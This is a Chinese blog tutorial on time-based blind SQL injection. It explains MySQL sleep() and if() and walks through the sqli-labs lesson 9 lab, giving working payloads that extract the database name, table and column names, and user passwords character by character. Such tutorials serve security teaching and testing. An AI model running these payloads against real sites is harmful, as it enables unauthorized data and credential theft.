【SQL注入-无回显】时间盲注:原理、函数、利用过程

本文详细阐述了时间盲注技术如何通过服务器响应时间来判断SQL语句执行,涉及sleep函数、IF判断及实际应用步骤,包括猜测数据库长度、字符和表结构信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一、时间盲注(延时)

1.1、简介:

1.2、原理:

二、常用函数:

2.1、延迟函数:

​编辑

2.2、相关函数:

2.3、示例语句

三、利用过程

3.1、第一步:判断注入点

3.2、第二步:判断可使用注入方法

3.3、第三步:猜数据库名称长度

3.4、第四步:猜数据库名称(ASCII码)

四、逻辑判断

4.1、猜长度(eg:数据库)

4.2、猜字符(eg:数据库名第一位)

4.3、猜字符:(eg:第一个表名第一位)


一、时间盲注(延时)

1.1、简介:

由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的,但是sleep函数或者benchmark函数的过多执行会让服务器负载过高

1.2、原理:

通过一个页面加载的时间延时来判断

但是这和网络,性能,设置的延时长短有关系

当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断



二、常用函数:

2.1、延迟函数:

sleep(N)函数

即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟

(通过执行时间来判断是否被执行,但是可能会因网速等问题参数误差)


2.2、相关函数:

if()函数

​ if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值


2.3、示例语句

?id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+

sleep(if(database()="security",10,0))



三、利用过程

3.1、第一步:判断注入点

"and 1=1--+  页面返回有数据

"and 1=0--+  页面返回有数据

则:页面的返回没有变化,可能是盲注


3.2、第二步:判断可使用注入方法

然后用sleep()判断能否利用时间盲注

"and sleep(5)--+   页面延时了

则:是时间盲注。


3.3、第三步:猜数据库名称长度

"and if((length(database()))=10,sleep(5),1)--+  页面延时了

则:当前数据库名称长度为 10


3.4、第四步:猜数据库名称(ASCII码)

"and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+  页面延时了

则:数据库第一个字母是k... 类推得到数据库名


(字段名、数据,都是以此类推)



四、逻辑判断

4.1、猜长度(eg:数据库)

?id=1' and sleep(if(length(database())=8,10,0)) --+

(页面窗口转了10s,说明长度为8)


4.2、猜字符(eg:数据库名第一位)

?id=1' and sleep(if(mid(database(),1,1)='s',10,0)) --+

(转了10秒说明是s)


4.3、猜字符:(eg:第一个表名第一位)

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0) --+

(转了5秒说明是e)



五、示例(sqli-labs9)

5.1、第一步:注入点测试

 加上单引号、双引号闭合、数值型注入,都发现回显正常

无法判断是否存在注入点

 只能考虑使用延时函数了

 ?id=1' and sleep(5) --+

标签上面在转,说明函数执行了

即存在注入点

5.2、第二步:猜数据库名长度

?id=1' and if(length(database())>7,sleep(5),1)--+

转了5s说明判断正确

最后用=确定唯一长度

?id=1' and (length(database()))=8--+

转5s,判断正确,长度为8

5.3、第三步:猜数据库名(ASCII码)

?id=1' and if(ascii(substr(database(),1,1))<200,sleep(5),0) --+

转了5s说明if语句为真

?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0) --+

转了5s说明if判断为真

 二分法,一直从中间分下去,直到确定一个值对应的ascii码

通过这个方法判断出整个数据库名

5.4、第四步:猜表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,sleep(5),1)--+

转了5s说明if判断正确

 ?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<8,sleep(5),1)--+

转了5s说明if判断正确

 采用二分法以此类推得到唯一的值

通过这个方法判断出表长

5.5、第五步:猜表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>60,  sleep(5),1)--+

转了5s说明if判断正确

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<200,  sleep(5),1)--+

转了5s说明if判断正确

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个表名

5.6、第六步:猜字段长度

?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3,sleep(5),1)--+

转了5s说明if判断正确

 ?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))<10,sleep(5),1)--+

转了5s说明if判断正确

 采用二分法以此类推得到唯一的值

通过这个方法判断出表长

5.7、第七步:猜字段名

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,sleep(5),1)--+

转了5s说明if判断正确

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<100,sleep(5),1)--+

转了5s说明if判断正确

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个字段名

5.8、第八步:猜数据

?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>10, sleep(5),0)--+

转了5s说明if判断正确

?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))<100, sleep(5),0)--+

转了5s说明if判断正确

采用二分法以此类推得到唯一的值

通过这个方法判断出整个数据

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值